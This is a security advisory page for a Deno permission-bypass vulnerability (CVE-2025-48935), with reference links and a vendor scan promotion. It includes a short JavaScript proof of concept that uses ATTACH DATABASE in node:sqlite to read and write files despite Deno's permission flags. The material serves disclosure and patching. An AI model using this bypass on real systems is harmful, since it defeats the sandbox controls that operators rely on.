Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
## Summary It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement. ## PoC ```js // poc.js import { DatabaseSync } from "node:sqlite" const db = new DatabaseSync(":memory:"); db.exec("ATTACH DATABASE 'test.db' as test;"); db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);"); ``` ``` $ deno poc.js ```
01
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2025-48935US | critical9.1OT elevated | — | ||
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 2.2.0 and prior to versions 2.2.5, it is possible to bypass Deno's permission read/write db permissio… | ||||
02
references
External citations — patches, advisories, analysis.
- https://github.com/denoland/denoPACKAGE
- https://github.com/denoland/deno/commit/31a97803995bd94629528ba841b2418d3ca01860WEB
- https://github.com/denoland/deno/security/advisories/GHSA-8vxj-4cph-c596WEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-48935ADVISORY
- https://rustsec.org/advisories/RUSTSEC-2025-0138.htmlWEB
scry
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan